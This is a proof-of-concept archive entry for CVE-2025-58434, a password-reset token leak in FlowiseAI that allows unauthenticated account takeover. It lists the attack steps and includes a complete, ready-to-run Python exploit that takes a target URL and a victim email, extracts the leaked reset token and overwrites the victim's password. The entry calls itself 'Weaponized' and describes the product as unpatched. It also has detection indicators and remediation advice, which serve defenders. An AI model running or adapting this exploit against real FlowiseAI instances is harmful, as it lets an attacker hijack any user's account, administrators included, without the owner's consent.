PoC Archive PoC Archive
Critical CVE-2025-58434 unpatched

FlowiseAI Account-Takeover via Forgot-Password Token Leak (CVE-2025-58434)

by 00lucasm · 2026-07-06

CVSS 9.8/10
Severity
Critical
CVE
CVE-2025-58434
Category
web
Affected product
FlowiseAI (/api/v1/account/forgot-password and /api/v1/account/reset-password endpoints)
Affected versions
Per source repository — unpatched FlowiseAI deployments exposing the account API
Disclosed
2026-07-06
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-06
Last Updated2026-07-06
Author / Researcher00lucasm
CVE / AdvisoryCVE-2025-58434
Categoryweb
SeverityCritical
CVSS Score9.8 (per NVD)
StatusWeaponized
Tagsflowiseai, auth-bypass, account-takeover, forgot-password, reset-password, api, python, cwe-640
RelatedN/A

Affected Target

FieldValue
Software / SystemFlowiseAI (/api/v1/account/forgot-password and /api/v1/account/reset-password endpoints)
Versions AffectedPer source repository — unpatched FlowiseAI deployments exposing the account API
Language / PlatformPython 3 (requests) targeting FlowiseAI’s Node.js/Express-based REST API
Authentication RequiredNo
Network Access RequiredYes (HTTP/HTTPS access to the FlowiseAI API)

Summary

CVE-2025-58434 is an authentication-bypass vulnerability in FlowiseAI’s password-reset flow: the forgot-password endpoint returns the password-reset tempToken directly in its JSON response body instead of only delivering it out-of-band (e.g., via email), and the reset-password endpoint accepts that token to set a new password for any account with no further verification of ownership. An attacker who merely knows a victim’s email address can call forgot-password to obtain the reset token straight from the API response, then immediately submit it to reset-password to overwrite the victim’s password, fully hijacking the account without ever needing access to their inbox. The PoC is a small, self-contained Python script (exploit.py) that chains these two calls end-to-end and prints the newly-set credentials.

Root Cause

The forgot-password endpoint’s response leaks the sensitive tempToken value that is meant to be a secret delivered only to the account owner (typically via email):

1
2
3
4
5
6
def getToken():
    emailPayload = {"user": {"email": EMAIL}}
    response = requests.post(forgotPasswordUrl, headers=HEADERS, json=emailPayload)
    data = response.json()
    tempToken = data.get("user", {}).get("tempToken")
    return tempToken

Because the token is returned synchronously to whoever called the endpoint (not just sent via email), any unauthenticated party who submits an email address receives the exact token needed to complete the reset — collapsing the intended “possession of inbox” verification into “knowledge of email address.”

Attack Vector

  1. Attacker sends POST /api/v1/account/forgot-password with {"user": {"email": "<victim-email>"}} for any known or guessed account email.
  2. The API responds with a JSON body containing user.tempToken — the password-reset token — directly to the caller, rather than only emailing it to the account owner.
  3. Attacker immediately sends POST /api/v1/account/reset-password with {"user": {"email": "<victim-email>", "password": "<attacker-chosen>", "tempToken": "<leaked-token>"}}.
  4. The server accepts the attacker-supplied token as valid proof of ownership and resets the victim’s password to the attacker-chosen value.
  5. Attacker now logs in as the victim with the new password, achieving full account takeover with no interaction from the victim.

Impact

Full account takeover of any FlowiseAI user (including administrators) by an unauthenticated remote attacker who only needs to know the target’s email address — no phishing, no inbox access, and no credential guessing required.


Environment / Lab Setup

Target:   FlowiseAI instance exposing /api/v1/account/forgot-password and /api/v1/account/reset-password
Attacker: Python 3, pip package: requests

Proof of Concept

PoC Script

See exploit.py in this folder.

1
python3 exploit.py http://TARGET victim@example.com

The script calls forgot-password for the given email, extracts the leaked tempToken from the JSON response, then calls reset-password with that token and a hardcoded PoC password (Fl0w1s3PoC), printing the victim’s email and new password on success.


Detection & Indicators of Compromise

- POST requests to /api/v1/account/forgot-password immediately followed (within seconds) by
  POST requests to /api/v1/account/reset-password for the same target email, from the same
  source IP, with no intervening email-click/redirect flow
- Password-reset events with no corresponding "reset link clicked" or email-open telemetry
- Multiple forgot-password/reset-password sequences for different victim emails from one source

Signs of compromise:

  • Unexpected password changes on user accounts with no user-initiated reset request
  • Login events immediately following an unsolicited password reset
  • Server logs showing tempToken values present in forgot-password API responses (indicates the vulnerable code path is active)

Remediation

ActionDetail
Primary fixNo official patch identified at time of mirroring — see references; remove tempToken from the forgot-password HTTP response body and deliver it exclusively via a verified out-of-band channel (email)
Interim mitigationRestrict/monitor access to the account API, rate-limit forgot-password/reset-password calls per source IP and per target email, and alert on reset-password calls that follow a forgot-password call within an implausibly short time window

References


Notes

Mirrored from https://github.com/00lucasm/CVE-2025-58434-Flowiseai-Auth-Bypass-PoC on 2026-07-06. The repository’s README is minimal, but exploit.py is a working script chaining the forgot-password and reset-password endpoints to hijack any account by leaking the reset token from the API response itself.

exploit.py
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import requests
import sys

TARGET = sys.argv[1]
EMAIL = sys.argv[2]
PASSWORD = "Fl0w1s3PoC"

HEADERS = {
     "Accept": "application/json, text/plain, /",
     "Content-Type": "application/json",
     "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36",
     "Origin": TARGET
}

forgotPasswordUrl = f"{TARGET}/api/v1/account/forgot-password"
resetPasswordUrl = f"{TARGET}/api/v1/account/reset-password"

def getToken():
     emailPayload = {"user": {"email": EMAIL}}
     response = requests.post(forgotPasswordUrl, headers=HEADERS, json=emailPayload)
     data = response.json()
     tempToken = data.get("user", {}).get("tempToken")
 
     return tempToken
 
def resetPassword(tempToken):
     tokenPayload = {"user": {"email": EMAIL, "password": PASSWORD, "tempToken": tempToken}}
     response = requests.post(resetPasswordUrl, headers=HEADERS, json=tokenPayload)
     creds = [EMAIL,PASSWORD]
     return creds
 
def main():
     print("CVE-2025-58434 Exploit PoC")
 
     token = getToken()
 
     if not token:
         print("Something went wrong!")
         exit
     else:
         creds = resetPassword(token)
         print(f'[+] Reset Token: {token}\n[+] Password successfully reseted!\n[+] New password for {EMAIL}: {PASSWORD}')

if __name__=="__main__":
     main()